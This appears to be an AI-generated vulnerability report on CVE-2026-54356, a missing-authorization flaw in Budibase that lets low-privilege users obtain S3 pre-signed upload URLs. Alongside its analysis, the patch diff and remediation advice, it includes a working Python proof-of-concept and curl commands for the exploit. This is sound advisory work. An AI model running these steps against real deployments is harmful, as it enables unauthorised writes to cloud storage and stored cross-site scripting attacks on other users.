CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54356

CVE-2026-54356: Missing Authorization in Budibase leading to Arbitrary S3 Upload URL Generation

Alon Barad
Alon Barad
Software Engineer

Aug 27, 2026·5 min read·5 visits

Executive Summary (TL;DR)

An authenticated low-privilege user can obtain server-signed AWS S3 pre-signed upload URLs from Budibase and write arbitrary files directly to S3.

CVE-2026-54356 is a missing authorization vulnerability (CWE-862) within the backend component of the Budibase low-code platform. The vulnerability exists inside the `@budibase/server` package in versions prior to 3.41.3. An authenticated user with the lowest privilege level can invoke the attachment upload URL endpoint directly and obtain an S3 pre-signed PutObject URL signed with the server's S3 credentials.

Vulnerability Overview

CVE-2026-54356 is a high-severity missing authorization vulnerability (CWE-862) discovered in the Budibase low-code platform. The vulnerability is located within the @budibase/server backend component in versions prior to 3.41.3.

The flaw allows an authenticated user with only minimal application permissions to invoke backend API endpoints to generate S3 pre-signed PutObject upload URLs. These URLs are signed server-side using the AWS credentials configured for the workspace's S3 datasource.

Because the backend component mints the URL on behalf of the user, the attacker can specify arbitrary target buckets and keys. The resulting pre-signed URL allows the attacker to bypass standard Budibase tenant boundaries and directly write data to the backend S3 storage.

Root Cause Analysis

The vulnerability originates from a failure to perform appropriate object-level authorization checks on the attachment upload endpoint. Specifically, the route configuration handling attachment S3 upload URLs does not verify if the requesting user has the authority to interact with a specific S3 datasource ID.

In the vulnerable routing configuration, the endpoint uses a generic table-level write permission middleware. Any authenticated application user—even those with the minimal, built-in BASIC role—possesses table-write capabilities within their published application workspaces, allowing them to pass this routing barrier.

Once the routing layer authorizes the request, the backend controller accepts user-supplied parameters for the S3 bucket name and key path directly from the JSON request body. The controller does not validate whether these parameters align with the bucket defined in the datasource configuration, permitting arbitrary S3 bucket targeting.

Code Analysis

The insecure route configuration inside packages/server/src/api/routes/static.ts utilizes the generic TABLE authorization check instead of verifying the specific datasource ID.

// VULNERABLE ROUTE
.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  authorized(PermissionType.TABLE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

The fix commit 0f1a20e532119cb4b354840e219072e2ed277f32 addresses this by applying a strict object-level authorization model and validating the target bucket parameters against the server-side configuration.

// PATCHED ROUTE
.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  authorized(PermissionType.DATASOURCE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

The corresponding controller was updated to verify that the user-specified bucket name matches the bucket configured and pinned within the designated datasource settings, rejecting mismatched inputs.

Exploitation Methodology

Exploitation of CVE-2026-54356 requires an active authenticated session inside a published Budibase application. The attacker must obtain the target S3 datasource ID and the current application ID from client-side network traffic.

The attacker sends a crafted HTTP POST request to the /api/attachments/:datasourceId/url endpoint with a JSON body specifying the target S3 bucket name and key path. The server generates a pre-signed S3 URL using its backend AWS credentials and returns it within the JSON response payload.

The attacker extracts the pre-signed URL from the HTTP response and makes a direct HTTP PUT request containing their payload to the Amazon S3 endpoint. Because the write is signed by valid server-side credentials, the S3 bucket accepts the request, allowing the attacker to bypass all application-level storage filters.

Complete Exploit Scripts

A proof-of-concept Python script can automate authentication, URL retrieval, and subsequent S3 object writing:

# CVE-2026-54356 - Budibase arbitrary S3 signed upload URL issuance PoC
import argparse
import sys
import requests
 
def login(session, target, app_id, email, password):
    url = f"{target}/api/global/auth/{app_id}/login"
    headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
    r = session.post(url, json={"username": email, "password": password}, headers=headers, timeout=30)
    if r.status_code != 200:
        sys.exit(f"[-] Login failed: {r.status_code}")
 
def mint_signed_url(session, target, app_id, datasource_id, bucket, key):
    url = f"{target}/api/attachments/{datasource_id}/url"
    headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
    r = session.post(url, json={"bucket": bucket, "key": key}, headers=headers, timeout=30)
    if r.status_code != 200:
        sys.exit(f"[-] Request failed: {r.status_code}")
    return r.json().get("signedUrl")

Alternatively, a lightweight bash and curl sequence can be used to validate the vulnerability:

#!/usr/bin/env bash
# Minimal curl validation script
 
# 1) Authenticate as a BASIC user
curl -s -c cookies.txt \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -X POST "$TARGET/api/global/auth/$APP_ID/login" \
  -d "{\"username\":\"$EMAIL\",\"password\":\"$PASSWORD\"}"
 
# 2) Request the pre-signed upload URL
curl -s -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -X POST "$TARGET/api/attachments/$DATASOURCE_ID/url" \
  -d "{\"bucket\":\"$BUCKET\",\"key\":\"$KEY\"}"

Impact Assessment

The concrete security impact of CVE-2026-54356 is significant. Attackers can leverage the server-side credentials to modify, overwrite, or delete objects within any S3 bucket accessible by the backend server's AWS credentials.

If the targeted S3 bucket is configured to serve static assets or web resources to other users, an attacker can overwrite existing static HTML or JavaScript files. This enables Stored Cross-Site Scripting (XSS), exposing other platform users to session hijacking and credential theft.

Additionally, attackers can exploit this flaw to upload large files to the target's bucket, leading to resource exhaustion or high cloud consumption costs. Because the request relies on valid user sessions, standard intrusion detection systems may view the request as legitimate application traffic.

Remediation and Mitigations

The primary remediation for CVE-2026-54356 is to upgrade Budibase self-hosted instances to version 3.41.3 or higher. This release restricts endpoint access and enforces strict server-side bucket validation checks.

When immediate patching is not possible, organizations should apply S3 IAM least-privilege policies to the credentials used by the platform. Restrict AWS credentials to allow only specific S3 actions on dedicated bucket prefixes.

Administrators should also ensure that the bucket name is explicitly defined and locked in the S3 datasource configuration. Finally, configure AWS CloudTrail to monitor and alert on unexpected PutObject operations originating from unexpected IP addresses.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
EPSS Probability
0.24%
Top 85% most exploited

Affected Systems

Budibase (Packages: @budibase/server)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Budibase (@budibase/server)
Budibase
< 3.41.33.41.3
AttributeDetail
CWE IDCWE-862: Missing Authorization
Attack VectorNetwork (AV:N)
CVSS v3.1 Score7.1 (High)
Exploit StatusProof-of-Concept Available
Affected Versions< 3.41.3
Patch Version3.41.3

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

GitHubExploit PoC repository by KovachVL

References & Sources

  • [1]GitHub Security Advisory GHSA-6x9p-4r67-5gjx
  • [2]NVD CVE-2026-54356 Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2026-54556
8.2

CVE-2026-54556: Heap Exhaustion and Denial of Service in http4s Ember HTTP/2 Backend via HPACK Bomb

CVE-2026-54556 is a high-severity Denial of Service (DoS) vulnerability impacting the Ember HTTP/2 backend of http4s, a popular functional Scala interface for HTTP services. The vulnerability arises from an improper handling of highly compressed HPACK header blocks, which enables unauthenticated remote attackers to trigger severe memory amplification and crash the JVM runtime via an OutOfMemoryError.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•CVE-2026-54553
5.4

CVE-2026-54553: Validation Bypass in starlette-admin REST API via Unvalidated Sort and Filter Fields

A validation bypass vulnerability exists in starlette-admin versions prior to 0.16.1. The administrative REST list API fails to validate user-controlled query parameters against server-side schemas. This allows authenticated users to sort or filter data using fields marked as hidden, non-sortable, or non-searchable. This behavior leads to unauthorized information exposure via blind sorting and denial of service via uncaught database exceptions.

Alon Barad
Alon Barad
3 views•6 min read
•about 5 hours ago•CVE-2026-54548
3.3

CVE-2026-54548: Persistent SSH Host Key Checking Disablement in Siemens kas

Prior to version 5.4, the Siemens kas setup utility unconditionally disabled SSH host key verification globally within the invoking user's persistent `~/.ssh/config` file when utilizing SSH keys. This configuration degradation persists after execution, leaving subsequent user SSH connections vulnerable to Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-54523
9.6

CVE-2026-54523: Privilege Escalation via Cross-Namespace Resource Generation in Kyverno

CVE-2026-54523 is a critical security vulnerability in the Kyverno policy engine (versions 1.18.0 up to 1.18.2) where the CEL generator library fails to validate target namespace boundaries. This allows unprivileged tenants with namespace-scoped policy creation permissions to bypass Kubernetes multi-tenancy limits and execute unauthorized cross-namespace resource creation, potentially escalating privileges to cluster administrator.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•CVE-2026-54550
7.4

CVE-2026-54550: Path Traversal Vulnerability in IzPack Installer Unpacker

IzPack versions 5.2.6 and earlier are vulnerable to path traversal via UnpackerBase.unpack(). The vulnerability allows unauthenticated attackers to write arbitrary files to the host filesystem during the installation process by crafting malicious installer packages containing directory traversal sequences.

Alon Barad
Alon Barad
4 views•4 min read
•about 8 hours ago•CVE-2026-54511
8.6

CVE-2026-54511: Log Injection and Structured Data Key Injection in @logtape/syslog

CVE-2026-54511 is a critical security vulnerability in the @logtape/syslog package, which serves as the syslog sink for the LogTape logging library. The flaw is caused by a failure to neutralize C0 control characters in structured data values and to validate keys against RFC 5424 SD-NAME specifications when structured data output is enabled. Remote attackers can leverage this defect to terminate TCP syslog frames and append completely forged syslog records to downstream collectors, compromising the integrity of audit trails and SIEM databases.

Alon Barad
Alon Barad
3 views•6 min read